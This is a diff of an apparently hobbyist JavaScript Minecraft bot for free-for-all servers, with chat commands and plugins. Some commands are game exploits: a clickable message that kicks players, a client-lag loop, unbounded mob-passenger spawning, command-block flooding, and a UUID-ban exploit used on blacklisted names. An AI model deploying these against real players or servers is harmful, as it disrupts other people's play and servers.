msg = [{ text: 'Mail:\n', color: bot.colors.primary }]
messages.forEach((message) => {
msg.push(`${message.sender} (from ${message.host}): `)
msg.push({ text: `${message.message}\n`, color: bot.colors.secondary })
})
msg[msg.length - 1].text = msg[msg.length - 1].text.slice(0, -1)
bot.core.run(`minecraft:tellraw @a[nbt=${SNBT.stringify(nbt.comp({ UUID: toNBTUUID(player.UUID) }))}] ${JSON.stringify(msg)}`)
break
case 'clear':
bot.mail[player.name] = []
bot.core.run(`minecraft:tellraw @a[nbt=${SNBT.stringify(nbt.comp({ UUID: toNBTUUID(player.UUID) }))}] ${JSON.stringify([
{ text: 'Your mail has been cleared.', color: bot.colors.primary }
])}`)
}
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

94
commands/music.js Normal file
View file

@ -0,0 +1,94 @@
const name = 'music'
const description = 'Plays music'
const usages = [
'play <song>',
'list',
'skip',
'stop'
]
const aliases = ['music']
const enabled = true
const permLevel = 0
const fs = require('fs')
const path = require('path')
const https = require('https')
const tmp = require('tmp')
function execute (bot, cmd, player, args, handler) {
const subCmd = args.shift()
let filepath, tmpobj, file, files, primary, msg, split
switch (subCmd) {
case 'play':
filepath = args.join(' ').replace(/\xa7.?/g, '')
if (/https?:\/\//.test(filepath)) {
https.get(filepath, (res) => {
// Open file in local filesystem
tmpobj = tmp.fileSync()
file = fs.createWriteStream(tmpobj.name)
// Write data into local file
res.pipe(file)
// Close the file
file.on('finish', () => {
file.close()
bot.music.queue.push(tmpobj.name)
})
})// .on("error", (err) => {
// console.log("Error: ", err.message);
// });
return
}
filepath = path.join('music', filepath)
// if (!filepath.endsWith('.mid')) { filepath += '.mid' }
split = filepath.split('/')
if (split[0] !== 'music') { throw new Error('geese') }
if (!fs.existsSync(filepath)) { throw new Error('Invalid song name.') }
if (!bot.music.playing) {
bot.music.play(filepath)
} else {
bot.music.queue.push(filepath)
bot.core.run('minecraft:tellraw @a ' + JSON.stringify([
{ text: 'Added ', color: bot.colors.primary },
{ text: filepath.replace(/.+\//g, ''), color: bot.colors.secondary },
' to the music queue.'
]))
}
break
case 'list':
files = fs.readdirSync('./music')
// files.filter((file) => file.endsWith('.mid'))
primary = false
msg = [{ text: 'Songs - ', color: 'gray' }]
files.forEach((file) => {
msg.push({
text: `${file} `,
color: (((primary = !primary)) ? bot.colors.primary : bot.colors.secondary),
clickEvent: { action: 'run_command', value: `${bot.prefix}${name} play ${file}` },
hoverEvent: { action: 'show_text', value: 'Click to play the song' }
})
})
bot.core.run(`/tellraw @a ${JSON.stringify(msg)}`)
break
case 'skip':
bot.music.skip()
break
case 'stop':
bot.music.stop()
break
case 'loop':
bot.music.looping = !bot.music.looping
break
default:
throw new Error('Invalid or missing argument.')
}
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

17
commands/myuser.js Normal file
View file

@ -0,0 +1,17 @@
const name = 'myuser'
const description = 'Shows your username'
const usages = []
const aliases = ['myuser']
const enabled = true
const permLevel = 0
function execute (bot, cmd, player, args, handler) {
bot.core.run(`/tellraw @a ${JSON.stringify([
{ text: 'Your username is: ', color: bot.colors.primary },
{ text: player.name, color: bot.colors.secondary },
'.'
])}`)
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

18
commands/net.js Normal file
View file

@ -0,0 +1,18 @@
const name = 'net'
const description = 'Runs a command as each bot.'
const usage = '{prefix}netcb <command...>'
const aliases = ['net']
const enabled = true
const permLevel = 0
function execute (bot, cmd, player, args, handler) {
const command = args.shift()
if (handler.info(command).name === name) { return bot.core.run(`/tellraw @a ${JSON.stringify({ text: 'You may not run net using net.', color: bot.colors.error })}`) }
bot.getBots().forEach((bot) => {
handler.execute(bot, command, player, args.slice(0))
})
}
module.exports = { name, description, usage, aliases, enabled, execute, permLevel }

14
commands/netmsg.js Executable file
View file

@ -0,0 +1,14 @@
const name = 'netmsg'
const description = 'Sends a message as each bot.'
const usages = ['<message...>']
const aliases = ['netmsg']
const enabled = true
const permLevel = 0
function execute (bot, cmd, player, args, handler) {
const host = bot.host
bot.getBots().forEach((bot) => bot.fancyMsg(host, player.name, args.join(' ')))
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

13
commands/play.js Normal file
View file

@ -0,0 +1,13 @@
const name = 'play'
const description = 'Runs a command in the command core'
const usage = '{prefix}cb <command...>'
const aliases = ['cb']
const enabled = true
const permLevel = 0
function execute (bot, cmd, entity, args, handler) {
}
module.exports = { name, description, usage, aliases, enabled, execute, permLevel }

25
commands/pos.js Normal file
View file

@ -0,0 +1,25 @@
const name = 'pos'
const description = 'Gets the position of a player'
const usages = ['<selector>']
const aliases = ['pos']
const enabled = true
const permLevel = 0
function execute (bot, cmd, player, args) {
bot.getEntityPos(args.join(' '), (position) => {
const { x, y, z } = position
bot.core.run(`minecraft:tellraw @a ${JSON.stringify([
{ text: 'Position: ', color: bot.colors.primary },
{
text: `[${x}, ${y}, ${z}]`,
color: bot.colors.secondary,
clickEvent: { action: 'run_command', value: `/essentials:tp ${x} ${y} ${z}` },
hoverEvent: { action: 'show_text', value: 'Click to teleport' }
}
])}`)
// bot.chatQueue.push(`&aPosition: &2${x} ${y} ${z}`)
})
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

14
commands/printcodes.js Normal file
View file

@ -0,0 +1,14 @@
const name = 'printcodes'
const description = 'Prints permission codes to console.'
const usage = '{prefix}printcodes'
const aliases = ['printcodes']
const enabled = true
const permLevel = 0
function execute (bot, cmd, entity, args, handler) {
require('../cperms.js').printCodes()
bot.core.run('/bcraw &aPrinted codes to console.')
}
module.exports = { name, description, usage, aliases, enabled, execute, permLevel }

24
commands/rainbowify.js Normal file
View file

@ -0,0 +1,24 @@
const name = 'rainbowify'
const description = 'Makes text rainbow'
const usages = ['<message...>']
const aliases = ['rainbowify']
const enabled = true
const permLevel = 0
const colorsys = require('colorsys')
function execute (bot, cmd, player, args, handler) {
const message = args.join(' ')
const result = []
let hue = 0
message.split('').forEach((char) => {
result.push({ text: char, color: colorsys.hsv2Hex(hue, 100, 100) })
hue += 355 / Math.max(message.length, 20)
})
bot.core.run(`/tellraw @a ${JSON.stringify(result)}`)
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

View file

@ -0,0 +1,18 @@
const name = 'randomteleport'
const description = 'Teleports you to a random location.'
const usage = '{prefix}randomteleport'
const aliases = ['randomteleport', 'randomtele', 'randomtp', 'rtp']
const enabled = true
const permLevel = 0
function execute (bot, cmd, player, args, handler) {
bot.core.run(`/essentials:sudo ${player.UUID} c:/tppos ${randomInt(-30000000, 30000000)} 256 ${randomInt(-30000000, 30000000)}`)
// setTimeout(() => bot.core.run(`/essentials:sudo ${player.UUID} c:/top`), 100)
}
function randomInt (min, max) {
return Math.floor((Math.random() * (max - min) + min) + 1)
}
module.exports = { name, description, usage, aliases, enabled, execute, permLevel }

13
commands/rc.js Normal file
View file

@ -0,0 +1,13 @@
const name = 'rc'
const description = 'Resets the bot\'s command core.'
const usages = []
const aliases = ['rc']
const enabled = true
const permLevel = 0
function execute (bot, cmd, entity, args, handler) {
bot.core.reset()
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

16
commands/reload.js Normal file
View file

@ -0,0 +1,16 @@
const name = 'reload'
const description = 'Attempts to reload all commands.'
const usages = []
const aliases = ['reload']
const enabled = true
const permLevel = 0
function execute (bot, cmd, player, args, handler) {
bot.core.run(`minecraft:tellraw @a ${JSON.stringify([
{ text: 'Reloading!', color: bot.colors.primary }
])}`)
handler.reload()
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

13
commands/scare.js Normal file
View file

@ -0,0 +1,13 @@
const name = 'scare'
const description = 'i am have clien lag help me pls'
const usage = '{prefix}scare'
const aliases = ['scare']
const enabled = true
const permLevel = 1
function execute (bot, cmd, entity, args, handler) {
bot.cloops.push({ command: `scare ${args.join(' ')}`, interval: 1 })
}
module.exports = { name, description, usage, aliases, enabled, execute, permLevel }

13
commands/section.js Executable file
View file

@ -0,0 +1,13 @@
const name = 'section'
const description = 'sus ploit.'
const usages = []
const aliases = ['section']
const enabled = true
const permLevel = 0
function execute (bot, cmd, entity, args, handler) {
bot.core.run(`/tellraw @a ${JSON.stringify({ text: 'Click here to get kicked!', underlined: true, clickEvent: { action: 'run_command', value: '/\u00a7' } })}`)
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

24
commands/seen.js Normal file
View file

@ -0,0 +1,24 @@
const name = 'seen'
const description = 'Shows when a player was first and last seen'
const usages = []
const aliases = ['seen']
const enabled = true
const permLevel = 0
function execute (bot, cmd, player, args, handler) {
const username = args.join(' ')
if (bot.seen[username] != null) {
const { first, last } = bot.seen[username]
bot.core.run('tellraw @a ' + JSON.stringify([
{ text: '', color: bot.colors.primary },
{ text: username, color: bot.colors.secondary },
' was first seen on ',
{ text: first, color: bot.colors.secondary },
' and last seen on ',
{ text: last, color: bot.colors.secondary }
]))
} else throw new Error(username + ' was never seen')
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

20
commands/spawnmob.js Normal file
View file

@ -0,0 +1,20 @@
const name = 'spawnmob'
const description = 'but better'
const usages = ['<amount> [entity]']
const aliases = ['spawnmob']
const enabled = true
const permLevel = 0
function execute (bot, cmd, player, args, handler) {
const amount = parseInt(args.shift()) || 0
const entity = args.shift() ?? 'pig'
const arr = []
while (arr.length < amount) {
arr.push(`{id:'${entity.replace(/'/g, '\\\'')}'}`)
}
bot.exploits.execute(`at ${player.UUID} run summon area_effect_cloud ~ ~ ~ {Passengers:[${arr.join(',')}]}`)
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

13
commands/teleport.js Normal file
View file

@ -0,0 +1,13 @@
const name = 'teleport'
const description = 'halal tp command lol'
const usages = ['<args...>']
const aliases = ['teleport', 'tp']
const enabled = true
const permLevel = 0
function execute (bot, cmd, player, args, handler) {
bot.exploits.execute(`as ${player.UUID} at @s run teleport ${args.join(' ')}`)
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

19
commands/translate.js Normal file
View file

@ -0,0 +1,19 @@
const name = 'translate'
const description = 'Translates text.'
const usages = ['<language> <text>']
const aliases = ['translate']
const enabled = true
const permLevel = 0
const { Translate } = require('translate')
async function execute (bot, cmd, player, args, handler) {
const language = args.shift()
const text = args.join(' ').replace(/§.?/g, '')
bot.core.run(`minecraft:tellraw @a ${JSON.stringify(
{ text: JSON.stringify(await Translate(text, language)), color: bot.colors.primary }
)}`)
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

42
commands/urban.js Executable file
View file

@ -0,0 +1,42 @@
const name = 'urban'
const description = 'Shows word definitions from the Urban Dictionary'
const usages = ['<word...>']
const aliases = ['urban']
const enabled = true
const permLevel = 0
const ud = require('urban-dictionary')
function execute (bot, cmd, player, args, handler) {
// Callback
ud.define(args.join(' ').replace(/§./, ''), (error, results) => {
if (error) {
bot.core.run(`/tellraw @a ${JSON.stringify([
{ text: error.message, color: bot.colors.error }
])}`)
return
}
const msg = [{ text: '', color: 'gray' }]
results.forEach((result) => {
msg.push({ text: '[', color: 'dark_gray' })
msg.push({ text: 'Urban', color: 'red' })
msg.push({ text: '] ', color: 'dark_gray' })
msg.push({ text: `${result.word} `, bold: true })
const a = result.definition.replace(/\r\n?/g, '\n').split(/\[|\]/)
for (let i = 0; i < a.length; i += 2) {
msg.push({ text: a[i] })
if (a[i + 1] != null) {
msg.push(
{ text: a[i + 1], underlined: true, clickEvent: { action: 'run_command', value: `${bot.prefix}${name} ${a[i + 1]}` } }
)
}
}
msg[msg.length - 1].text += '\n'
})
bot.core.run(`minecraft:tellraw @a ${JSON.stringify(msg)}`)
})
}
module.exports = { name, description, usages, aliases, enabled, execute, permLevel }

15
commands/validate.js Normal file
View file

@ -0,0 +1,15 @@
const name = 'validate'
const description = 'Tests trusted code validation.'
const usage = '{prefix}validate'
const aliases = ['validate']
const enabled = true
const permLevel = 1
function execute (bot, cmd, entity, args, handler) {
bot.core.run(`/tellraw @a ${JSON.stringify([
{ text: 'Valid code.', color: bot.colors.primary }
])}`)
}
module.exports = { name, description, usage, aliases, enabled, execute, permLevel }

31
commands/video.js Normal file
View file

@ -0,0 +1,31 @@
const name = 'video'
const description = 'Plays videos'
const usages = ['play <filepath...>', 'stop']
const aliases = ['video']
const enabled = true
// const fs = require('fs')
function execute (bot, cmd, entity, args, handler) {
const subCmd = args.shift().toLowerCase()
let filepath
switch (subCmd) {
case 'play':
filepath = args.join(' ').replace(/\u00a7.?/g, '')
// if (!fs.existsSync(filepath) || !fs.statSync(filepath).isFile()) throw new Error('Invalid filepath: '+filepath)
// client.util.writeChat({ text: 'Loading '+filepath })
bot.video.play(filepath)
break
case 'stop':
bot.video.stop()
// client.util.writeChat({ text: 'Stopped video playback.' })
break
// case 'nowplaing':
// client.util.writeChat({ text: 'Currently playing song: '+targetClient.util.music.nowPlaying })
// break
default:
throw new Error('Invalid or missing argument')
}
}
module.exports = { name, description, usages, aliases, enabled, permLevel: 0, execute }

17
cperms2.js Normal file
View file

@ -0,0 +1,17 @@
const secretNums = [null, -2.5, 6.9, 4.2069]
function validate (level, username, code) {
for (let i = level; i < secretNums.length; i++) {
if (getCode(level, username) === code) {
return true
}
}
return false
}
function getCode (level, username = ' ') {
const date = new Date()
return String.fromCharCode(Math.floor((date.getDate() + date.getMinutes() - date.getMonth()) / secretNums[level] * username.length * 69))
}
module.exports = { secretNums, validate, getCode }

48
index.js Normal file
View file

@ -0,0 +1,48 @@
const readline = require('readline')
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
prefix: '> '
})
const { createBots } = require('./bot.js')
// const commandHandler = require('./commands.js')
const fs = require('fs')
const path = require('path')
const moment = require('moment')
let filepath = path.join('logs', moment().format('YYYY-MM-DD') + '.log')
if (fs.existsSync(filepath)) {
const suspath = filepath + '-'
let i = 0
while (fs.existsSync(filepath)) {
filepath = suspath + (i++)
}
}
fs.writeFileSync(filepath, '')
const servers = [
'kaboom.pw:25565:kaboom',
's.veast.network:25565:kaboom',
'play.cyclenet.eu:25560:kaboom',
// 'legunepw.apexmc.co:25565:kaboom',
'ssandcat.aternos.me:25565:vanilla'
// 'kittyandhawk.ddns.net:25565:vanilla'
]
const bots = createBots(servers, {
username: ' ',
prefix: "'",
colors: { primary: 'green', secondary: 'dark_green', error: 'red' },
version: '1.17.1',
randomizeUsername: true,
autoReconnect: true
// 'online-mode': { enabled: false, username: 'removed lol', password: null }
})
bots.forEach((bot) => {
bot.console.filepath = filepath
bot.console.setRl(rl)
bot.commands.loadFromDir('commands')
})

6
index_sus.js Normal file
View file

@ -0,0 +1,6 @@
const sus = require('./bot')
const servers = ['kaboom.pw:25565:kaboom', '']
sus.createBots(servers, {
username: ' '
}).forEach((bot) => bot.on('login', () => bot.chatQueue.push('i accidentally deleted index.js and lost console code lol')))

3
launcher_accounts.json Normal file
View file

@ -0,0 +1,3 @@
{
"accounts": []
}

6140
package-lock.json generated Normal file

File diff suppressed because it is too large Load diff

16
package.json Normal file
View file

@ -0,0 +1,16 @@
{
"dependencies": {
"@mozilla/readability": "^0.4.1",
"@skeldjs/client": "^2.15.17",
"@tonejs/midi": "^2.0.27",
"colorsys": "^1.0.22",
"fluent-ffmpeg": "^2.1.2",
"kahoot.js-api": "^2.4.0",
"minecraft-protocol": "^1.26.5",
"moment": "^2.29.1",
"prismarine-nbt": "^2.2.0",
"rfb2": "^0.2.2",
"standard": "^16.0.4",
"urban-dictionary": "git+https://code.chipmunk.land/ChipmunkMC/urban-dictionary.git"
}
}

14
persistent/blacklist.json Normal file
View file

@ -0,0 +1,14 @@
[
[
"test00001",
""
],
[
"MCSTORM_IO_.*",
""
],
[
"okay",
"g"
]
]

View file

@ -0,0 +1,6 @@
[
[
"inte.*ual.*property",
"ig"
]
]

9771
persistent/mail.json Normal file

File diff suppressed because it is too large Load diff

49858
persistent/seen.json Normal file

File diff suppressed because it is too large Load diff

37
plugins/antiCB.js Normal file
View file

@ -0,0 +1,37 @@
function inject (bot) {
bot.antiCB ??= false
setInterval(() => {
if (!bot.antiCB) return
let offsets
offsets = { x: randomInt(-8, 8), /* y: 0, */ z: randomInt(-8, 8) }
bot.core.run(`minecraft:execute at @a run setblock ~${offsets.x} 0 ~${offsets.z} command_block{Command: 'minecraft:fill ~${(-3) - offsets.x} 0 ~${(-3) - offsets.z} ~${(3) - offsets.x} 255 ${3 - offsets.z} chain_command_block replace command_block', auto: 1b} destroy`)
offsets = { x: randomInt(-8, 8), /* y: 0, */ z: randomInt(-8, 8) }
bot.core.run(`minecraft:execute at @a run setblock ~${offsets.x} 0 ~${offsets.z} command_block{Command: 'minecraft:fill ~${(-3) - offsets.x} 0 ~${(-3) - offsets.z} ~${(3) - offsets.x} 255 ${3 - offsets.z} chain_command_block replace repeating_command_block', auto: 1b} destroy`)
}, 50)
// setInterval(() => {
// if (!bot.antiCB) return
// let offsets
//
// offsets = { x: randomInt(-8, 8), /*y: 0,*/ z: randomInt(-8, 8) }
// bot.core.run(`minecraft:execute at @a run setblock ~${offsets.x} 0 ~${offsets.z} command_block{Command: 'minecraft:fill ~${-8 - offsets.x} 0 ~${-8 - offsets.z} ~${8 - offsets.x} 112 ${8 - offsets.z} chain_command_block replace command_block', auto: 1b} destroy`)
// offsets = { x: randomInt(-8, 8), /*y: 0,*/ z: randomInt(-8, 8) }
// bot.core.run(`minecraft:execute at @a run setblock ~${offsets.x} 0 ~${offsets.z} command_block{Command: 'minecraft:fill ~${-8 - offsets.x} 113 ~${-8 - offsets.z} ~${8 - offsets.x} 225 ${8 - offsets.z} chain_command_block replace command_block', auto: 1b} destroy`)
// offsets = { x: randomInt(-8, 8), /*y: 0,*/ z: randomInt(-8, 8) }
// bot.core.run(`minecraft:execute at @a run setblock ~${offsets.x} 0 ~${offsets.z} command_block{Command: 'minecraft:fill ~${-8 - offsets.x} 226 ~${-8 - offsets.z} ~${8 - offsets.x} 255 ${8 - offsets.z} chain_command_block replace command_block', auto: 1b} destroy`)
//
// offsets = { x: randomInt(-8, 8), /*y: 0,*/ z: randomInt(-8, 8) }
// bot.core.run(`minecraft:execute at @a run setblock ~${offsets.x} 0 ~${offsets.z} command_block{Command: 'minecraft:fill ~${-8 - offsets.x} 0 ~${-8 - offsets.z} ~${8 - offsets.z} 112 ${8 - offsets.z} chain_command_block replace repeating_command_block', auto: 1b} destroy`)
// offsets = { x: randomInt(-8, 8), /*y: 0,*/ z: randomInt(-8, 8) }
// bot.core.run(`minecraft:execute at @a run setblock ~${offsets.x} 0 ~${offsets.z} command_block{Command: 'minecraft:fill ~${-8 - offsets.x} 113 ~${-8 - offsets.z} ~${8 - offsets.z} 225 ${8 - offsets.z} chain_command_block replace repeating_command_block', auto: 1b} destroy`)
// offsets = { x: randomInt(-8, 8), /*y: 0,*/ z: randomInt(-8, 8) }
// bot.core.run(`minecraft:execute at @a run setblock ~${offsets.x} 0 ~${offsets.z} command_block{Command: 'minecraft:fill ~${-8 - offsets.x} 226 ~${-8 - offsets.z} ~${8 - offsets.x} 255 ${8 - offsets.z} chain_command_block replace repeating_command_block', auto: 1b} destroy`)
// }, 50)
}
function randomInt (min, max) {
return Math.floor((Math.random() * (max - min) + min) + 1)
}
module.exports = inject

50
plugins/anti_stuff.js Normal file
View file

@ -0,0 +1,50 @@
function bot (bot) {
bot.on('login', () => {
bot.chat.queue.push('/commandspy:commandspy on')
// bot.chat.queue.push('/essentials:vanish enable')
bot.chat.queue.push('/essentials:god enable')
})
bot.on('cspy', (player, command) => {
if (command.startsWith('/')) { command = command.slice(1) }
const args = command.split(' ')
command = args.shift()
switch (command) {
case 'icu':
case 'icontrolu:icu':
if (args[0] === 'control' && (bot._client.username.startsWith(args[1]) || args[1] === bot._client.uuid)) { bot.core.run(`essentials:sudo ${player.UUID} icontrolu:icu stop`) }
}
})
bot.on('chat', (message) => {
// if (/\u00a76Vanish for .*\u00a76: disabled/.test(message.raw)) { bot.core.run(`sudo ${bot._client.uuid} essentials:vanish enable`) } else if (/§6God mode§c disabled§6./.test(message.raw)) { bot.core.run(`sudo ${bot._client.uuid} essentials:god enable`) } else if (/§rSuccessfully disabled CommandSpy/.test(message.raw)) { bot.core.run(`sudo ${bot._client.uuid} commandspy:commandspy on`) } else if (/§6Your nickname is now .*§6./.test(message.raw)) { bot.core.run(`essentials:nick ${bot._client.uuid} off`) }
})
bot._client.on('player_info', (packet) => {
if (packet.action === 0) {
packet.data.forEach((player) => {
if (player.UUID === bot._client.uuid && player.name !== bot._client.username) { bot.core.run(`essentials:sudo ${bot._client.uuid} username ${bot._client.username}`) }
})
}
})
}
function client (bot, client) {
client.on('game_state_change', (packet) => {
switch (packet.reason) {
case 3:
if (packet.gameMode !== 1) { bot.chat.queue.push('/minecraft:gamemode creative @s[type=player]') }
break
case 4:
bot._client.write('client_command', { payload: 0 })
}
})
client.on('update_health', (packet) => {
if (packet.health <= 0) { bot._client.write('client_command', { payload: 0 }) }
})
bot._client.on('declare_commands', () => bot.chat.queue.push(bot.brand === 'kaboom' ? '/op @s[type=player]' : '/trigger opme')) // assumes that the vanilla server has an 'opme' trigger
}
module.exports = { bot, client }

34
plugins/blacklist.js Normal file
View file

@ -0,0 +1,34 @@
const fs = require('fs')
const path = require('path')
const filepath = path.resolve('persistent', 'blacklist.json')
// load the blacklist
let blacklist = []
try {
blacklist = require(filepath)
} catch (e) {
console.log('An error occured while loading the blacklist.')
}
// save it every 5 minutes
setInterval(() => {
fs.writeFileSync(filepath, JSON.stringify(blacklist, null, 2))
}, 5 * 6000)
// expose the blacklist and make the bot uuid ban blacklisted players
function bot (bot) { bot.blacklist = blacklist }
function client (bot, client) {
client.on('player_info', (packet) => {
if (packet.action === 0) {
packet.data.forEach((player) => {
blacklist.forEach(([pattern, flags]) => {
if (new RegExp(pattern, flags).test(player.name)) { bot.exploits.uuidBan(player.UUID) }
})
})
}
})
}
module.exports = { bot, client }

16
plugins/cc.js Normal file
View file

@ -0,0 +1,16 @@
function inject (bot) {
bot.on('cspy', (player, command) => {
if (command.startsWith('/')) { command = command.slice(1) }
const args = command.split(' ')
command = args.shift()
if (command === 'cc' || command === 'clearchat' || command === 'extras:cc' || command === 'extras:clearchat') {
bot.core.run(`/tellraw @a ${JSON.stringify([
{ text: '', color: 'dark_green' },
`${player.name} cleared the chat`
])}`)
}
})
}
module.exports.bot = inject

52
plugins/chat-filter.js Normal file
View file

@ -0,0 +1,52 @@
const nbt = require('prismarine-nbt')
// const SNBT = require('../util/snbt.js')
// const toNBTUUID = require('../util/uuid-to-nbt-uuid.js')
// filter the chat
function inject (bot) {
// const mcData = require('minecraft-data')(bot._client.version)
// const { id } = mcData.itemsByName.cod
bot.chatFilter = {
enabled: false,
_lines: [],
_filter
}
bot.on('chat', ({ raw }) => {
const filtered = _filter(raw)
bot.chatFilter._lines = [...bot.chatFilter._lines, ...filtered.split('\n')]
while (bot.chatFilter._lines.length > 99) {
bot.chatFilter._lines.shift()
}
if (raw !== filtered) {
bot._client.write('set_creative_slot', {
slot: 36,
item: {
present: true,
itemId: /* id */1,
itemCount: 1,
nbtData: nbt.comp({
i: nbt.string('\xa7r' + bot.chatFilter._lines.join('\xa7r\n'))
})
}
})
setTimeout(() => {
bot.core.run('minecraft:tellraw @a ' + JSON.stringify({ nbt: 'SelectedItem.tag.i', entity: bot._client.uuid }))
}, 50)
}
})
}
function _filter (message) {
let filtered = message
filtered = filtered.replace(/geese/g, censor)
return filtered
}
function censor (match) {
let c = ''
while (c.length < match.length) { c += '\u0d9e' }
return c
}
module.exports.bot = inject

56
plugins/chat.js Normal file
View file

@ -0,0 +1,56 @@
const parseText = require('./../util/text_parser.js')
function bot (bot) {
bot.chat = {
queue: [],
patterns: []
}
setInterval(() => {
if (!bot.loggedIn) { return }
const message = bot.chat.queue.shift()
if (message != null) {
bot._client.write('chat', { message })
}
}, 200)
bot.on('chat', (message, packet) => {
bot.console.log(`[${bot.host}] ${message.raw}`)
const msg = message.raw
if (msg.match(/<.*§r> §r.*/g)) {
if (packet.sender === '00000000-0000-0000-0000-000000000000') return
const player = bot.players[packet.sender]
const message = msg.split('§r> §r')[1]
bot.emit('message', player, message)
} else if (msg.match(/<.*> .*/g)) {
if (packet.sender === '00000000-0000-0000-0000-000000000000') return
const player = bot.players[packet.sender]
const message = msg.split('> ')[1]
bot.emit('message', player, message)
} else if (msg.match(/.* .*§r: §.*/g)) {
if (packet.sender === '00000000-0000-0000-0000-000000000000') return
const player = bot.players[packet.sender]
const message = msg.split('§r: ')[1].substr(2)
bot.emit('message', player, message)
} else if (msg.match(/§.*§b: \/.*/g)) {
let username = msg.split('§b: ')[0]
if (username.startsWith('§b')) { username = username.slice(2) }
const player = bot.players[username]
if (player == null) return
const command = msg.split('§b: ')[1]
bot.emit('cspy', player, command)
}
})
}
function client (bot, client) {
client.on('chat', (packet) => {
if (JSON.parse(packet.message)?.translate === 'advMode.setCommand.success') return
const message = parseText(packet.message)
bot.emit('chat', message, packet)
})
}
module.exports = { bot, client }

17
plugins/cloop.js Normal file
View file

@ -0,0 +1,17 @@
function inject (bot) {
bot.cloops ??= []
setInterval(() => {
bot.cloops.forEach((cloop, i) => {
if (!cloop.timeout) loop(i)
})
}, 1)
function loop (i) {
if (bot.cloops[i] == null) { return }
bot.cloops[i].timeout = true
bot.core.run(bot.cloops[i].command)
setTimeout(() => loop(i), bot.cloops[i].interval)
}
}
module.exports.bot = inject

82
plugins/commands.js Normal file
View file

@ -0,0 +1,82 @@
const fs = require('fs')
const path = require('path')
const util = require('util')
function inject (bot) {
bot.commands = {
commands: {},
add,
execute,
info,
isCommand,
loadFromDir,
isValid
}
bot.on('message', (player, message) => {
if (!message.startsWith(bot.prefix)) { return }
const args = message.slice(bot.prefix.length).split(' ')
const command = args.shift().toLowerCase()
if (!isCommand(command)) { return bot.core.run(`/tellraw @a ${JSON.stringify({ text: `Unknown command: ${bot.prefix}${command}`, color: bot.colors.error })}`) }
bot.commands.execute(bot, command, player, args)
})
function add (command) {
if (!isValid(command)) throw new Error('Invalid command', 'invalid_command')
command.aliases.forEach(alias => (bot.commands.commands[alias.toLowerCase()] = command))
}
function loadFromDir (dirpath) {
fs.readdirSync(dirpath).forEach(filename => {
const filepath = path.resolve(dirpath, filename)
if (!filepath.endsWith('js') || !fs.statSync(filepath).isFile()) return
try {
bot.commands.add(require(filepath))
} catch (err) {
bot.console.error('Error loading command ' + filepath + ': ' + util.inspect(err))
}
})
}
function info (command) {
const info = bot.commands.commands[command] ?? command
if (isValid(info)) { return info }
}
function isCommand (command) { return bot.commands.info(command) != null }
async function execute (bot, command, player, args, ...custom) {
const info = bot.commands.info(command)
if (info == null) {
bot.core.run('minecraft:tellraw @a ' + JSON.stringify({ text: 'Unknown command: ' + bot.prefix + command, color: bot.colors.error }))
return
}
if (!info.enabled) {
bot.core.run('minecraft:tellraw @a ' + JSON.stringify({ text: bot.prefix + command + 'is disabled', color: bot.colors.error }))
return
}
if (info.permLevel > 0) {
bot.core.run('minecraft:tellraw @a ' + JSON.stringify({ text: 'Trusted commands are currently disabled', color: bot.colors.error }))
return
}
try {
return await info.execute(bot, command, player, args, ...custom)
} catch (err) {
bot.console.error('Error executing command ' + command + ': ' + util.inspect(err))
bot.core.run('minecraft:tellraw @a ' + JSON.stringify({ text: err.message, color: bot.colors.error }))
}
}
}
function isValid (command) {
return command != null &&
typeof command.execute === 'function' &&
typeof command.name === 'string' &&
typeof command.description === 'string' &&
Array.isArray(command.usages) &&
Array.isArray(command.aliases) &&
typeof command.enabled === 'boolean' &&
command.aliases.length > 0 &&
typeof command.permLevel === 'number'
}
module.exports.bot = inject

96
plugins/console.js Normal file
View file

@ -0,0 +1,96 @@
const fs = require('fs')
const util = require('util')
const moment = require('moment')
const ansimap = {
0: '\x1b[0m\x1b[30m',
1: '\x1b[0m\x1b[34m',
2: '\x1b[0m\x1b[32m',
3: '\x1b[0m\x1b[36m',
4: '\x1b[0m\x1b[31m',
5: '\x1b[0m\x1b[35m',
6: '\x1b[0m\x1b[33m',
7: '\x1b[0m\x1b[37m',
8: '\x1b[0m\x1b[90m',
9: '\x1b[0m\x1b[94m',
a: '\x1b[0m\x1b[92m',
b: '\x1b[0m\x1b[96m',
c: '\x1b[0m\x1b[91m',
d: '\x1b[0m\x1b[95m',
e: '\x1b[0m\x1b[93m',
f: '\x1b[0m\x1b[97m',
r: '\x1b[0m',
l: '\x1b[1m',
o: '\x1b[3m',
n: '\x1b[4m',
m: '\x1b[9m',
k: '\x1b[6m'
}
function inject (bot) {
bot.console = {
filepath: null,
host: 'all',
log,
warn,
error,
_log,
setRl,
_rl: null
}
function log (data) {
_log('\u00a72INFO', process.stdout, data)
}
function warn (data) {
_log('\u00a7eWARN', process.stderr, data)
}
function error (data) {
_log('\u00a7cERROR', process.stderr, data)
}
function _log (prefix, stdout, data) {
// format it
data = `[${moment().format('HH:mm:ss')} ${prefix}\u00a7r] ${data}\n`
// log to file
const filepath = bot.console.filepath
if (filepath != null) {
fs.appendFile(filepath, data, err => {
if (err) console.error(err)
})
}
// log to stdout
data = data.replace(/\u00a7.?/g, m => ansimap[m.slice(1)] ?? '') + '\x1b[0m'
stdout.write(data)
}
function setRl (rl) {
rl?.prompt(true)
rl?.on('line', handleLine)
// bot.console._rl?.removeListener('line', handleLine)
bot.console._rl = rl
function handleLine (line) {
if (bot.host !== bot.console.host && bot.console.host !== 'all') return
if (line.startsWith('.')) {
const args = line.slice(1).trim().split(' ')
const command = args.shift()
if (!bot.commands.isCommand(command)) {
bot.console.error('Unknown command: ' + command)
return
}
const info = bot.commands.info(command)
try {
info.execute(bot, command, bot.player, args)
} catch (err) {
